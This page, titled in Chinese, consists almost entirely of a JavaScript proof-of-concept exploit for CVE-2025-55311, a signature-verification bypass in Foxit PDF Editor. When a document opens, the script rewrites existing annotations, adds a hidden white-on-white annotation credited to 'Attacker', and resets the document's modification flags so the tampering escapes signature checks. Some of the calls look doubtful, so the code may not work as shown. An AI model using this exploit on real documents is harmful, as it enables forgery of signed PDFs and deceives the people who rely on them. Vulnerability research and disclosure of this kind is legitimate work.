CVE-2025-55311 Foxit PDF Editor签名验证绕过漏洞

// CVE-2025-55311 PoC - Foxit PDF Signature Bypass via JavaScript // This PoC demonstrates how JavaScript can modify annotations and clear document modification status function exploitSignatureVerification() { try { // Step 1: Get all annotations in the document var annots = this.getAnnots(); if (annots && annots.length > 0) { console.println("Found " + annots.length + " annotations"); // Step 2: Modify existing annotation content for (var i = 0; i < annots.length; i++) { var annot = annots[i]; if (annot.type === "Text" || annot.type === "FreeText") { // Modify annotation contents annot.setContents("Malicious content injected by attacker"); annot.setProps({ contents: "Tampered annotation content", modificationDate: "", creationDate: "" }); console.println("Annotation " + i + " modified successfully"); } } } // Step 3: Add malicious annotation var pageNum = 0; var annotRect = { left: 50, top: 700, right: 200, bottom: 750 }; this.addAnnot({ page: pageNum, type: "FreeText", rect: annotRect, contents: "Hidden malicious annotation - document integrity compromised", author: "Attacker", fillColor: [255, 255, 255], strokeColor: [255, 255, 255] }); // Step 4: Clear document modification status // This is the critical step that bypasses signature verification if (typeof this.clearDoc === "function") { this.clearDoc(); console.println("Document modification status cleared"); } // Alternative method to reset dirty flag try { this.dirty = false; this.modified = false; } catch (e) { console.println("Flag reset method: " + e.message); } console.println("Exploit completed - signature verification bypassed"); } catch (e) { console.println("Exploit error: " + e.message); } } // Execute the exploit when document opens exploitSignatureVerification();